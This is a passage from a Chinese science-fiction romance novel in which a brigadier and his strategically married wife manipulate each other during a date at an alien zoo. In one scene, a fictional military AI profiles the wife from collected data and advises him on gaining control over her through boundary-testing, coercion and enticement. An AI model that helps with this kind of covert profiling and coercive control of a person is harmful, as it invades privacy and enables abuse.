“她们摸我的身子,凑上来看我的眼睛,问我会不会长鳞片刮伤人。”
凌宸听到这句话,微微垂眸,又再度看向她,眼神中似乎多了些东西。
他声线放缓,换了一种认真沟通的态度:“然后呢?”
安秀完全感受不到意想当中的痛苦。取而代之的,是无边平静下某种纯黑色的、即将破壳而出的东西。她很确定,那个东西一旦出来,会将她完全撕裂。
“......然后?”
那对红宝石仿佛失去了光泽,幽黑的瞳孔直直对上凌宸的眼睛。
凌宸心中漫起不详的预感,他嘴唇翕动,刚想说些什么,却被继续诉说的安秀打断了。
“然后她们拿我的身体打赌,如果我不伤人,就赔那个人一个粉水晶。有人为我说话被当众羞辱,我护着她,却被麦尼......”
“够了,不用说了。”凌宸意识到安秀的状态不对劲,适时打断。
“——却被麦尼误解成挑衅她们的权威。我差点向那些欺凌我们的人道歉,还以为自己会被赶出去......”
“安秀,你需要冷静。”
“我很冷静。”说罢,她继续复述茶会上的对话。
凌宸谨慎地观察安秀,她的气息比平时重一点——但是很平稳,瞳孔没有异常放大或缩小,没有精神崩溃的迹象。
刚刚那对幽黑的瞳孔,就像他的幻觉。
——那种野兽般的、湿漉漉的眼神。
他的妻子在茶会上被欺负了——即便她们并不是“正常”的夫妻——身为帝国男性从小受到的教育,还是让他动了恻隐之心。
凌宸一瞬的动摇被安秀看在眼里。事实上,当说到与克诺洛斯夫人的对话后,她的理智就回笼了。
异类的身份从出生伴随到现在,她虽然做不到完全无视某些恶意,但还没脆弱到自厌、自哀。眼看凌宸即将恢复冷冰冰的状态,安秀的心里,突然有了一个大胆的想法。
她起身,一步步走向对面的凌宸,凌宸见她过来,也站了起来。
“你干什么?”
不顾对方还未被冰雪重覆的讶异语气,安秀轻轻抱住了他。她的头靠在凌宸的肩膀,左手放在他的腰上,右手从下往上慢慢上探,直到他饱满宽阔的胸膛。
“你是不是,也觉得我是个怪物?”
安秀的语气带有令人动容的不安,温暖的鼻息打在他的
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耳侧。
凌宸不明白,为什么无论如何都做不到推开安秀。除了事物脱离掌控的失重感外,更多的是对自己的疑惑。
在这之前,他从不会因为别人的示弱而心软。这回,她又在使什么手段?
凌宸紧握的双手垂在身体两侧:“你有些失去理智了。先放开我,我去拿镇定剂。”
“在她们对我做那种事的时候,我忍了下来,因为我知道任务还没完成。之所以不想告诉你发生的事,是因为,我唯独不想让你知道别人觉得我是怪物。
“你说得对,我确实用了某些手段嫁给你,但这不代表我是个没有感情的人。无论如何,你都是我第一个真正意义上的、唯一的家人......
“凌宸,我不该瞒着你,对不起。”
真挚到极点的自白和道歉,令凌宸的脑袋嗡了一声,陷入长时间的空白。
唯一的家人。
不久前,父亲是他唯一的家人,而父亲已经永远离他而去。
现在,安秀,他的妻子,是他法律意义上唯一的家人。当她受到羞辱的时候,他在哪?
当她因为身世的伤痛,不愿意告诉他真相的时候,他是怎么做的?
强硬地逼她说出来了吗?
是不是做得太过分了?
“抱歉......”
凌宸喃喃地说出这两个字后,忽然惊醒,喉结上下滚动了一圈。身为对敌心理全校第一的优秀毕业生,这种不由自主的感觉他再熟悉不过。
他刚刚,是被情绪操控了吗?
“差不多就放开吧。”
凌宸瞬间恢复冷淡的语调,目光再度变得疏离,甚至拉下了她环在腰间的手,后退一步。
内心感慨自己的冷血。
明明不确定安秀是否真的在操控他,他还是决定再一次无情地推开,甚至开始计算其如何抓住她的脆弱进一步利用她。
——他很确定安秀在某些时刻的脆弱是真心实意的。
安秀没有凌宸想的那样不舍,退至安全的距离,恢复了往日的矜持与气度。
“刚刚失态了,抱歉。”
“没事。”
她居然失败了。
退开的第一时间,安秀想到的就是这个。
果然,凌宸经历了帝国最高军事学府淬炼的警惕心不容小觑。她把最脆弱、最能引起他共鸣的话都说出来了,凌宸居然不为所动。要是换成别人,至少会答应她好几个要求。
舰艇此时已经行驶在宇宙中,舰内自动更新为傍晚时态,玻璃杯折射上方暖黄色的灯光。
如此有情调的情景,她们却提不起任何兴致。
各怀心事的两人面对面坐着,安秀和凌宸的目光交汇了一瞬,又立马移开。
她们都有一丝心虚的感觉,而这种感觉,绝不能让对方知道。
这也导致,她们压根没注意到对方心虚的眼神。
这件事后的一段时间里,由于某些不可告人的心态,两人相处得异常和谐。可能是不想再忍受关系的停滞,某一天,凌宸邀请她去“约会”。
“一定要这样吗?”
安秀捂住了嘴,瞪圆了眼睛。
她这幅样子,让凌宸不禁想到动物园的古地球白虎。
9.主动出击
最近几天是帝国国王的诞生节,举国欢庆,凌宸也终于能从繁忙的工作中抽身,享受难得的假期。
他听到安秀这句惊讶语气的话,歪头,淡淡一笑:“怎么了?”
她又愣住了。在这种轻松自然状态下笑起来的凌宸,真是俊逸非凡。
安秀迟疑道:“只是有人在背后说我们不够恩爱而已,没必要用这种方式证明吧?你要不再考虑考虑?”
“难得有一次假期,就当出去放松一下,不好吗?”
安秀对这种无害的提议毫无警戒心,况且她刚好在大宅呆腻了,想出去透透风。
“也不是不可以。”
虽然不知道为什么凌宸会突然示好,但就当和朋友出去逛逛好了,也是增进感情的好机会。
时间回到一天前。
兼具庄严和科技感的书房内,凌宸的手指在空气中滑动几下,低沉的嗓音对虚拟体下令。
“分析安秀对于情感关系的看法。”
具有超高优先级和保密性的军用虚拟体开始运作,收集一切能被虚拟网捉取到的安秀的数据。一条条数据流汇集成发光的球体,悬浮在书房中间,星星点点的蓝色光拂过凌宸的军服领口。
这个过程不超过十秒,球体呼吸一般收缩了几下,给出了答案。
「安秀,从小与亲人分离,接受皇室教导,独立性强、自尊心强、对非善意者攻击性强;智慧、情商、耐力远高于平均值,危险程度90%」
「属于帝国人格模型的SCIF-PA.B型人格,人格位列“平衡”。对情感关系中的精神层面要求极高,厌恶强势人格(.P),喜欢掌握主动权。」
凌宸的手指轻点桌面,沉吟片刻,回忆了一下安秀至今的表现,确实符合上述结果。
他与安秀起过两次冲突,第一次在婚礼当天,因为她锁骨上的痕迹;第二次是前阵子从茶会回来的路上。
两次,都是他强势地让安秀听从命令,然后遭到了她严重的反抗。
他点了点高挺鼻梁侧边的银丝框,虚拟镜片出现,房间中的数据流汇聚到镜片中,以一种不可思议的速度在眼前流动。
“如果我想进一步控制她,让她完全依附于我、为我所用,应该如何行动?”
「正在比对您与安秀的人格模型。」
这次的用时比以往都要久。
两组人格模型相互交融、分开、再交融。每当凌宸的模型占据上风时,安秀的模型便很快反击甚至超越,反之亦然。
终于,虚拟体从无数种可能性中,找到了能让他完全控制安秀的方法。
「您成功控制安秀的概率为26.59%。前期制造互动机会,并将互动行为控制在被动-平衡之间;中期等待对方制造互动机会......」
「打动她,需要收敛您的锋芒,以引导为主,不断试探她的边界。特殊时刻可加以胁迫、引诱。」
凌宸眯起了眼睛,若有所思。
喜欢掌握主动权,是吗?
对于惯用强权手段压制下属的军队来说,这种极具个性的人格不算多见,不难想象征服她会带来多大的成就感。
想到这里,他的唇角上扬了些许。
这场婚姻,变得有趣了起来。
“你觉得我看上去怎么样?”
凌宸湛蓝的眼睛就像她们所在的帝羽星的海水,明净又温和。
安秀上下打量凌宸的穿着:一看就用料奢侈、裁剪得当的定制衬衣,版型利落的休闲裤。
哦,还有胸膛上跳动的银色项链。
安秀简直看呆了,这是她第一次觉得凌宸像个符合他年龄的大学生,没想到平日里眼神能杀人的准将,还么一副青春面孔。
“在军部待久了,不知道怎么穿才像正常人。能给我提些建议吗?”
她回过神,这才想起凌宸还在等自己的回答,说:“不会,你这么穿真的......很合适。”
可能这句话说出来显得轻浮,但是,安秀向来喜欢美好的外貌,这让她如沐春风。
平日里的凌宸总是穿着一身将服,对任何人都一副冷冰冰的样子,在她看来算不上“美好的外貌”。在那件事发生之前,二皇子算“美好的外貌”,因为他总是端着温风和煦的笑容,不过现在不提也罢。
“那就出发吧,行李已经提前一天让侍女整理好了,只需要对智能体下令一键传送。”
“啊,话说回来,我们要去哪?”安秀也穿好了便装,看向他。
凌宸看着她这副眼巴巴的样子,在心底笑了一声。
果然,如果隐晦地试探安秀的边界,并一步步从微不足道的小事控制她,她是不会反抗的。
她没有对他擅自命令侍女收拾她的行李感到反感——就好像这一切应该发生一样。
“我准备了三个方案,你来选吧。”
安秀的眼睛又亮了一下,看得出来,当他把态度转变得温和后,她一点都不打算掩盖自己的情绪。
她靠近了,带着婚礼那天那股淡淡的香味。凌宸下意识后仰,可她再度贴了上来。
“你别乱动,我看不清了。”
凌宸的身体又僵直了。他不适应别人靠得那么近。
虚拟屏上放着三个严谨的游玩方案,一个是帝国奇异生物园,一个是专门用于高档消费的特权星球,还有一个是宇宙观光,有最新发现的奇异星云。
安秀在一和三之间犹豫了半天,问:“奇异星云有什么好看的?”
“我在宇宙训练的时候看到过类似的,像一片绚烂的光海,很震撼。平时可以在观光星舰上游玩,吃穿用和娱乐项目都是最顶级的。”
安秀对舰上的高级服务不怎么感兴趣,反倒很想看看星云是否跟凌宸说的那样美丽。可是,她又不想失去动物园的机会。
小的时候,她在皇室图书馆看过有关帝国奇异生物园的介绍,里面有许多奇特的小家伙,她很想亲眼看看它们。
可是皇室不允许她去看哪怕一次。来到凌家后,她也因为忙于各种社交,没空想这个。
没想到,凌宸会把生物园列入方案。他是怎么看出来她喜欢这个的?
“我还是想去生物园看看。”
“我们走吧。”
凌宸点击虚拟屏上的方案一,智能规划开始运行,将私人舰自动召唤到宅邸大门前,绅士地将手臂送到她面前。
安秀挽上他的手,走出大门,看到只有一架私人舰的时候愣了一下。
“平时的那些警卫呢?”
“这次是私人出行,警卫会穿便装隐匿起来,不会打扰我们游玩。”
“你不是不喜欢生物园吗?”
“我没这么说过,只说了新婚夫妇一般不会去这,不代表我们不能去。”
凌宸还不至于把前阵子的对话忘掉。安秀见状,松了口气,跟他上了舰艇。
帝国奇异生物园,位于环绕帝国主星的帝青星。
在一开始被探测到时,它还是个风暴荒星,但经过帝国不懈的改造,它居然成了一个能容纳帝国99%以上生物的包容型星球。
当安秀从私人舰上下来时,即便有心理准备,还是被人类科技的夸张程度震惊到了。
谁能想到它曾经是颗风暴星?明明视野所及处都是郁郁葱葱的植被,甚至还有像来自古地球的长着透明翅膀的小昆虫飞过。
“这个叫蜻蜓,一种生活在水源附近的古地球昆虫。”凌宸接
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住一只蜻蜓,放到安秀眼前。
这个昆虫腹部的颜色蓝金交织,头大大的,看得安秀咧嘴一笑。不出多时,这只蜻蜓便飞走了。
“凌准将说得对,你们夫妻二人感情真好啊。”一个看上去有些年纪的男人从生物园入口那边走过来,笑容满面地迎接她们。
“我是帝国奇异生物园的副园长,”他亮出工作证,“接下来,让我带你们进园吧。”
副园长见到凌宸本人时,手心直冒冷汗,这个年轻人比他想得还要有气势。
谁能想到,一个军备统筹部委员,会放着一众顶级奢华的娱乐不要,偏偏光临奇异生物园?换作谁都会有点紧张。
在收到凌宸预约的那一刻,生物园全体严阵以待,限制了整座园区的线下开放,让副园长亲自出马为她们讲解。
“周围的游客怎么这么少?”对此一无所知的安秀问道。
印象里,帝国奇异生物园应该是随时爆满的状态,毕竟是号称唯一一所集齐了帝国所有生态的地方。
“完全开放时期的游客很多,会影响二位游玩体会,所以限制了游客数量。原本要完全关闭生物园入口的,在凌准将的要求下取消了。”
副园长偷偷瞄了一眼凌宸,当时凌宸知道她们想完全闭园时说过“妻子会不喜欢,游客数量不影响体验就行”。
果然,安秀皱了皱眉:“这岂不是影响了其她游客的行程?”
“夫人真善良。我们园区开放虚拟展,所有不能亲自到场的游客都得到了凌家补偿。”
反观凌宸一脸风轻云淡的样子,好像这个钱不是他花出去的一样:“我们接下来去哪里?”
意识到提前知道行程的准将在暗暗催促他,副园长忙道:“请跟我来吧。”
在进入奇异生物园前,安秀和凌宸戴上了一个装备,用于适应园内各种环境。
她们坐上悬浮观光车,在长长的露天通道行驶,可以看到智能体在道路两侧清扫、运输,还有同行的游客路过。
目的地很快就到了,附近渐渐没有了树木,一系列巨大的黑色多面体建筑出现在眼前。
“咦?”
安秀发出一声疑惑的气音。
眼前这些骰子一样不断翻转的黑色建筑充满了尖端科技感,连接成一个波浪起伏的圆环浮在空中。比起想象中亲近大自然的“生物园”,这明明更像一个科技展览主题馆。
她的彩色猴子和蓝丝鸟呢?
副园长的脸上溢出些许自豪:“这是生物园的最新成果,暂不对外开放。我们与帝国军方合作捉捕了一些‘特殊’生物,请二位将装备调到黑色模式。”
几人按下装置上的黑色按钮,副园长领她们进入贵宾通道,面前出现了一道半透明、紫黑色的粒子门,滋滋作响。
安秀用科学课常识判断出,整个黑色建筑群是被一层能量场包裹着的,她们之所以能进去,是因为粒子门“撕开”了这层能量场。
在进去之前,凌宸对她耳语道:“会看到你想看的东西的。”
她们飘进了黑暗的隧道,装备形成一个个光层将她们分别裹住,光球之间连接了极细的“丝线”,不让她们飘散。
安秀第一次进入无重力环境,不由得往后倒去,被一双有力的手接住了。
凌宸在身后扶着她:“不用怕,隧道有粒子推流,全身放松就好。”
“二位,还有什么话抓紧时间说,待会声音就传播不了了。”副园长在前面介绍,“这片区域有五个版块,三个正在开发,我们接下来要去的是真空深渊区。”
“这里的生物,是在开发宇宙中的‘深渊’能量体发现的生物,按照古地球的标准划分的话,它们甚至算不上‘生物’。”
10.想象之外
呼——呼——
一阵呼啸声后,声音完全消失,一闪而过的温度计显示零下二百七十度。四周是漆黑的,头顶是漆黑的,连脚下也是漆黑的。
她们完全置身于无边的宇宙,巨大的反差让她胸腔震颤,不由得抓紧了身后的人。
眼前的光层出现一行字:「不用怕,我在。」
那是凌宸在跟她说话。还没等她缓过来,更大的冲击出现了。
......那是什么?
一只巨大的、带着很多对足的白色虫子出现在眼前,像立马要把她们吞噬一般。
它的头比她们三个加起来都大,庞大的虫身由缠绕又扩散的白丝编织而成,像蜈蚣一样扭动,看上去像凝聚起来的宇宙尘埃,还带着深渊粒子特有的金色光辉。
最有特点的是它的“足”,像深海生物的触须一样,但更加抽象,律动起来颇有节奏感。
被眼前的景色震撼到的不止安秀。
凌宸只在出发前确认过行程,也是第一次正式参观这里的场馆,自认为对无垠浩瀚的太空有相当丰富的知识储备。不过当亲眼看到庞大的太空生物在眼前游过时,他的心中还是有种无法言喻的触动。
「太空生物:点阵星缕蜉蝣。于深渊近带阿尔匹斯星域发现的能量体,是活跃深渊粒子的集合,在该星域无规则飘动,离开存活环境即消失。」
来自副园长的解说出现在眼前,不过完全不妨碍她们观赏眼前的景色。
两只、三只.....整整三只星缕蜉蝣游到视野内,第三只看上去像幼年体,比其它两个小很多,但也更加灵活。
星缕蜉蝣离开适应环境即消失,那么军方是怎么穿越光年,把这种生物转移到生物园的?
即便凌宸知道安秀有这样的疑问,他也不能告诉她,这属于一类军事机密。
早在十五六岁的时候,他参加过一次试验级讨论赛,上面有关于如何解决太空生物转移的题目,他还用代码做出了星缕蜉蝣的数字生命体。
至于后来,他忙于学业和统筹部签约事宜,便没在意比赛的结果如何。
直到前段时间集体签署生物园同意书时,凌宸才得知军方这个三年前的计划终于落地了。
粒子推流渐缓,星缕蜉蝣的旅程告一段落,几人来到下一个隧道,副园长久违的声音在耳边响起。
“我们可以选择休息一段时间,缓一缓精神再继续。”
普通人一生都未必能看到如此磅礴的景象,冲击之下容易丧失理智,甚至留下后遗症。因此,除了严格的准入程序外,生物园还在每个版块设置了休息区。
副园长的这句话其实是说给安秀听的。在他看来,凌宸作为多年训练有素、身体强健的军人,不需要休息。
安秀虽然看上去没有刻板印象中的贵族那般柔弱,但毕竟是她们当中唯一一个没有经过训练的人。更何况,之前有过尊贵人物因逞强而昏倒的先例。
事实也确实如此。除了一开始的震撼外,凌宸的精神和身体状态并没有受影响。
两个男人看向安秀,等待她的答复。
“我们继续吧,”安秀从刚刚的震撼中缓过神来,身子还热热的,一副意犹未尽的样子:“你选对地方了,凌宸,感觉还不错。”
这下轮到他们惊讶了。正常人第一次看到这种景象都会害怕,她倒好,越看越兴奋。
凌宸升起了一股异样的感觉。早在军校——或者更早的童年时期,大人给他灌输的观念往往是女人柔弱,要像宝贝一样呵护才行,所以他一直觉得女人很无趣。
直到遇见赫本,一个优秀的女性——这也是为什么他曾和她是朋友。不过自从知道赫本对他感兴趣后,他丧失了一切好感。
和安秀相处的这段时间,她的表现更加强烈地冲击了他。
作为一名优秀的军官,他时刻贯彻自省与提升认知的优良品质,那些冲击已经足以改变他对某些事情的看法。
凌宸决定尊重她的想法,示意副园长:“那我们继续吧。”
“接下来我们要去超维折叠空间。”
隧道再一次开始运行,粒子在一片黑暗中推着她们缓缓前进,不知道是不是她的错觉,粒子的数量好像变多了。
颈环的存在感变强,脖子那块有些发热,她悄悄用余光看了下凌宸,希望他没发现异样。
白色光层勾勒出凌宸的侧脸轮廓,他看上去很平静,但一直抿着嘴,似乎在忍耐什么。
他突然注意到她的余光,极快反应道:“怎么了?”
“没什么。”
安秀意识到她们还紧紧贴在一起,稍微拉开了点距离。奇妙的是,几乎在拉开的同时,她的颈环不发热了。
粒子推流再度减缓。
「正在平衡使用者光感、降低癫痫概率...」
唰——!
整片区域在一瞬间充满色彩,大片的枝条蔓延在隧道外围,所见之处,无限延伸。
“这是分型树,在折叠空间的影响下,它的每个枝条都是一颗完整的树。我们发现母体的时候,它还在沐浴雷电,很神奇吧?”
副园长话音未落,她们的左侧爆发了一个球状闪电,这个球体一直扩散,直到看不见的前方。
“分形树无限生长,以闪电为食。不过放心,它不会长到破坏场馆的那一天的,除非我们能活几亿年。”
副园长哈哈大笑起来。安秀莞尔,看了看分型树,每个枝条都是一棵树,一棵树上又有许多枝条......
蓝色、紫色的闪电不断亮起,树旁游出颜色奇异的形似鳐鱼的生物,据副园长说与树是共生关系。
光感逐渐调节至正常,绚烂的颜色印在视网膜,连做梦都做不出这般神奇的梦。
这个景象,让凌宸想到小时候母亲给他玩的万花筒,不过母亲的万花筒更好看。他不记得母亲的脸,但一直记得万花筒里面的色彩。
“凌宸,你玩过万花筒吗?跟那个好像。”
安秀无意间的一句话触动了凌宸,她们居然同时间想到了同个东西。
“......我玩过。”
不过安秀忙着欣赏眼前的景色,没有听到他的回答。
过了好一会,她反应过来:“你刚刚说什么?”
“没什么。”
奇异的旅途告一段落,当回到正常重力环境的时候,安秀觉得浑身有千斤重,抬腿都嫌累。
反观凌宸,他的
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脊背依旧挺直,气定神闲的,仿佛刚刚的体验对他来说只是散步。
“接下来,二位请享受二人时光吧,全馆对你们开放。”副园长收到凌宸刚发来的单独游玩的通知,向二位道别。
看到凌宸这幅安然样子,不知怎的,安秀升起了一股胜负欲,她说:“接下来去哪?我随时可以走。”
凌宸当然知道她在强撑。他进行过无数次无重力训练,能不知道第一次结束无重力状态后的感觉吗?
“场馆配备了休息室。”
“我还好啊,走吧。”安秀活动了一下身体,表示随时可以行动。
令安秀没想到的是,凌宸嘴角溢出一丝无奈的笑:“可是我累了,陪我休息一下好吗?”
她的内心比看到星缕蜉蝣还震惊,不可置信地瞄了凌宸一眼。
这还是凌宸吗,那个总是喜欢以势压人的凌宸,从不把脆弱暴露给别人的凌宸?!
可不知道为什么,这样的凌宸......好像有些惹人怜爱。
“好啊,你早说嘛。”她的尾音不可避免地带上了一丝宠溺。
将互动行为控制在被动-平衡之间,给予主动权。按照这个思路,仅仅不到一天,他就第二次左右了安秀的行为。
凌宸在心里冷笑,看来控制她也没想的那么难,本以为会很有趣的。
在休息区小憩一阵后,安秀的状态肉眼可见地恢复正常,凌宸起身道:“走吧,去下一个地方。”
“接下来去哪?”
“看你想看的东西。”
所到之处,是安秀最熟悉的那种传统生物园,重力正常,尽可能还原古地球风格的自然场景,还有络绎不绝的游客。
无害净化剂消除了令人不悦的气味,反之扩大了树木的木质清香和青草的味道,一路欢声笑语。
这更加衬得刚才的经历就像一场梦。
凌宸一直托着她的手,抿着的嘴,还有那句“不要怕,我在”。
就好像她们真的在谈恋爱一样。但安秀不是脑子里总是蹦跶粉色泡泡的人,知道没那么简单。
他做这些事情时候的场景并没有别人,哪怕是单独做给副园长看的也太过牵强。
她不知道凌宸有什么目的,但也有自己的打算。
一对带着动物耳朵的牵着手的情侣路过,她也顺势靠近凌宸,牵上他的手。
不出她的意料,凌宸又僵住了。
经过这段时间的相处,即便凌宸隐藏得很好,她还是发现了这个小秘密,即凌宸明明不适应肢体接触,却还是为了她们的表面关系强忍着。
想要靠近一个人、左右他的行为,就要不断试探他的边界,这次的约会是个好机会。
凌宸的声音变得跟之前一样冰冷:“差不多该放开了吧,注意边界。”
他不喜欢毫无心理准备的肢体接触,安秀怎么就是学不乖?
可是这种让别人畏惧的气势,对安秀并不适用。
她可是他的妻子。
“准将大人,你要是不想被我牵着,大可以甩开我。嗯,不过被其她人知道就不关我的事了。”
面对这种近乎无赖的发言,凌宸气结,却和她说的一样,不能真的甩开她。
11.十指相扣
凌宸反握住她的手,淡淡道:“你真的觉得我不适应肢体接触吗?牵就牵。”
安秀的右手被一股力揉捏,不用看都知道,她们十指相扣了。
“哦?我从没有这么说过。”
两人暗暗较劲。
安秀的手暖暖的,和他一样骨节分明,因为常年保养的原因皮肤细腻,像上好的绸缎一样柔软。
只是因为牵着她的手,他的心就胡乱鼓动了起来,反观安秀一脸怡然自得的样子。
必须加强肢体接触方面的训练。凌宸木然地想,否则他难以在这段关系中占据主导地位。
忽然传来一阵痒意,是安秀在悄悄挠他的手心。她的目光一直颇有兴趣地停留在别处,就好像这种偷偷摸摸的无聊的事情不是她做的一样。
为了证明自己不是真的不适应身体接触,凌宸任她挠,没有做出任何反应。
这对有着极强自制力的他来说,没有,任何难度。
挠手心的动作停下了,安秀突然松开他的手,空气涌入分开的手之间,凉飕飕的。
他有些疑惑地看向安秀,只见她指着一个方向,语气兴奋地说:“看,莫尔弥斯猴!”
几只彩色的猴子从上方树枝荡了过去,引起游客惊呼。这里似乎很受儿童和年轻情侣欢迎,不少不过膝的小孩抓着气球跟家长来到这,叽叽喳喳的很热闹。
安秀鲜见地小跑起来,到一只背对着的彩猴前,又小心翼翼地停下,仔细打量起来。
凌宸对这种动物没什么兴趣,默默跟到她身后看着。周围潜伏的警卫则一直关注这边的情况,以防夫人被动物抓伤。
莫尔弥斯猴色彩绚烂,年轻的猴以粉蓝、黄粉、蓝紫等渐变为主,年纪越大颜色越多。
很久以前,一对有名的夫妇年轻时养了一只莫尔弥斯猴,直到它的毛色跟彩虹一样多。从此彩猴成了爱情长久的象征。
安秀伸手,很想碰碰这只背对她的粉蓝渐变的猴,身后所有人绷紧了神经。
她摸了摸那只猴子的头,像云朵一样柔软,猴子转过身来蹭了蹭她,然后跳走了。
“我们走吧。”安秀直起身,对凌宸笑了笑。
“不再看看吗?”
“不了,已经够了。”来自童年的小小梦想已经完成了一半,她又开始四下张望起来,“蓝丝鸟在哪?”
她话音未落,小声惊叫道:“凌宸!”
四周的警卫“唰”一声掏出能量枪,游客吓得四散而去,凌宸摆了摆手让她们待命,把肩上的东西拧了下来。
这只不知好歹的蓝紫色猴子在他手里吱哇乱叫,一旁的工作人员满脸心痛地过来道:“这位大人,请温柔点,它它它才出生不到一年......”
这些猴子是工作人员看着长大的,性格温顺,实在不忍心看到它们被这么对待。
凌宸皱眉:“那我该怎么办?”
“您放下就......”
“嘭!嘭!嘭!”又有三只猴跳到他的肩上,一只看上去年长的猴从凌宸手里抢走小猴,呲着牙拍了凌宸脑袋一下,所有人听到“咚”的一声。
凌宸一挑眉,脸黑得像锅底,即将发作。
周围的警卫看得冷汗直冒,敢招惹帝国最年轻的准将,只需要他一句话,这些猴子就会以袭击长官为由被处死。
工作人员吓得脸都白了,不停道歉,安秀也在一旁观察他的状态。
凌宸见她们如临大敌的样子,摇了摇头,并没有下达处死肇事猴的指令。
皇权愈发强大,帝国军队拥有的特权也水涨船高,世家子滥用特权的行为并不少见,但他一向不在乎这些外在的东西。
他的自尊心还不至于这么脆弱。
凌宸没想到的是,来日他和安秀关系有进展的原因,不是因为他的“策略”,而恰恰是因为这种细节。
刚刚那只大猴子看到凌宸身旁站着的安秀,顺着凌宸攀到了安秀身上,引起猴子们的争相效仿。
“妈妈看,彩色猴子在她们身上!”一旁的小孩兴奋地叫道。
她们终于摆脱了猴子。凌宸说:“我们走吧。”
“好。”
她们乘坐观光车来到一处辽阔的温室,不过温室被透明隔板隔起来了,只能在外面看。
“蓝丝鸟已经高度濒危了,只有这里低调开放。”
四周没什么游客,仅剩的游客见半天没飞出来一只蓝丝鸟,都失望地离开了。
二人对着空荡荡的雨林,别提摸一摸蓝丝鸟了,连看都看不到。安秀的内心不免泛起一丝失落,见凌宸还在等,她有些不好意思继续等了。
她不想让凌宸知道自己有多喜欢蓝丝鸟,也不想让他知道她有多失落。
蓝丝鸟对她来说有特殊意义,她和凌宸的关系还没到那一步。
安秀用轻快的语气说:“看不到也没关系,我们走吧。”
“确定不继续等等吗?”
“不了,以后有机会再说吧。”
凌宸稍有错愕,如果他没推测错的话,蓝丝鸟应该对安秀很重要。那天提问的时候,她说“彩色猴子和蓝丝鸟”,没说彩猴的全名,却说了蓝丝鸟全名。
想到征服敌人,必须先了解敌人。他决定再试探一下情况。
“如果你想摸到蓝丝鸟,只有我的特权才可以做到。我不会陪你来第二次。”
安秀有些犹豫了:“你可以让我摸到蓝丝鸟?”
凌宸不置可否,目光漫不经心地放在雨林那边,双臂交叠,等待安秀答复。
“......好吧,那就再等等。”
凌宸在她看不见的角度勾起了嘴角。
又过了几分钟,一声清脆的长鸣打破温室寂静,一只蓝色的、体型灵巧的鸟破空而出,长长的拖尾在空中画了个圈,飞到她们眼前。
安秀瞪大了眼睛,面对这难得一见的场景,一刻也不愿错过。
凌宸对这种东西不感兴趣,通过她的眼瞳看到蓝丝鸟的倒影,思考今后应该怎么用这次人情换她一次妥协。
安秀意犹未尽地看完蓝丝鸟的表演,问道:“你说我能摸一摸蓝丝鸟,怎么摸?”
她已经尽力掩盖了眼中的期待,但还是被凌宸敏锐地捕捉到了。
“蓝丝鸟作为高度濒危的物种,十分脆弱,不能直接用手摸,不过还有另一个办法。”
“什么办法?”
“拿一片羽毛回去做纪念。”
“你确定?”安秀表示怀疑,直接带走濒危物种的身体物件,比
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摸一下的可行性还低吧?
“只需要通知统筹部备案,保存自然脱落的羽毛留作研究备用就行。”
这么主动地献殷勤准没好事,她瞥了眼凌宸,问:“你有什么条件?”
凌宸没有回应她,反之抬手用通讯器拨通一串通讯:“通知备案组,我要帝国奇异生物园蓝丝鸟的羽毛,用于备用研究。”
这条消息被机器审核了一遍,又被专员组审核了一遍,用不了多久,整个军部上层都会知道凌宸动用权力,只为给妻子送上一片象征爱情的羽毛。
安秀还不至于笨到看不出来这么做的理由,有些无语地笑了:“原来你的目的是这个。”
“不然呢,像普通情侣一样旅游,然后不动声色地回去吗?”
凌宸一向注重效率,既然这次约会的目的之一是让流言不攻自破,那就有必要做出一些“实际”的行动。
“你也别忘了戴上羽毛,多在别人面前晃晃。”
安秀再次语塞。
柔顺、光洁的蓝丝鸟羽毛很快送到了手上,甚至还用精致的礼品盒包装好,不得不感慨生物园效率之高。
凌宸看着她手上的包装盒,沉吟片刻,又道:“要不干脆把这里的纪念品全买了,如果只送一片羽毛的话别人会觉得我小气,毕竟是第一次约会。”
安秀此时已经把包装盒移交给工作人员,让她们提前运到住所。
“我不需要那么多礼物。”
“我需要。”
“......”
于是,当她们来到极富设计感的高级住所时,储物间已经堆满了各种礼物。有许多不同主题的珠宝首饰、衣服、甚至还有品相绝佳的植物琥珀。安秀在翻弄这些东西时惊讶地发现每一件礼物都恰到好处。
凌宸这家伙,想事情也太周到了。
享用完丰盛的具有当地特色的晚餐后,安秀打了个哈欠,躺在自己的房间,思考接下来去干什么。
这种高级住所具有极高的保密性,她们不用演戏,所以用来睡觉的房间是分开的。
晚餐由住所官方特意为她们提供,是知名厨师改进过的情侣套餐,主体是一只飞翔态的蓝丝鸟,几乎一比一还原了每片羽毛的色泽。
氛围点缀得很浪漫,轻柔的音乐和色香味俱全的食物完美适配热恋中的情侣。
不过,凌宸没有跟她一起享用晚餐。
开始吃饭前他露了下面就匆匆离开了,还告诉她不用管他,于是安秀只好一个人面对双人份的套餐。
她毫不客气地吃完了四分之三,剩下的则被智能体运走再利用了。
一个人简直不要太享受。她躺了几个小时,懒洋洋的脑袋里想着接下来要不泡个温泉再睡觉。
如果没记错,这个高级住所的顶层有私人温泉。
“夫人,这边请。”
衣着十分有古朴风味的侍从引她到温泉,这里的温泉边缘用上了原木,整片区域温暖馨香、蒸汽腾腾。
她在更衣间换上洁白的浴衣,坐到温泉里,舒服地泡了起来。
大约在同一时间。
凌宸结束了突发工作,仰头呼气,拧了拧眉心。
好不容易结束了疲劳的一天,接下来,他应该去哪放松一下呢?
12.温泉氤氲
帝青星的温泉很有名。原木复刻了古地球基因,一比一还原古色古香的地球温泉,而且就在楼上。
凌宸当机立断:试一下这里的温泉。
刚好很久没泡了。温泉可以促进新陈代谢、放松大脑,是工作后再正确不过的放松方式。
他脱下整齐的军装叠好,对空气打了个响指,侍从接到智能体呼唤后立马就位。
“带我去温泉那。”
“好,您这边请。”
侍从一见是上司再三强调过的尊贵客人,毕恭毕敬地为他引路。
这位客人和夫人是一起来的,夫人刚刚也去泡温泉了。既然是夫妻,那么应该提前说好了泡同一片温泉。
于是,侍从将凌宸引到了安秀所在的那片私人温泉。
此时的凌宸毫不知情。
他穿戴着住所自带的浴袍,由于以为没人,将带子系得很松,露出大片介于白皙和蜜色之间的精壮胸膛。
泡进温泉的瞬间,他舒服地轻声喟叹,头靠在原木上小憩。
凌宸微微眯眼,余光看到了一旁飘着的木盘,上面放着一瓶酒和几个小酒杯,看包装,似乎是本地评价不错的果酒。
呵,那群家伙,还算有眼力见。
他伸出手拿酒杯,温热的水从手臂点点滴下,在水面点缀微弱的涟漪。
结果他摸到了另一只手。
“谁?!”哪怕精神已经极度放松,经过长期训练的他还是一瞬间拉回到警戒状态。
安秀也问:“谁在那?”
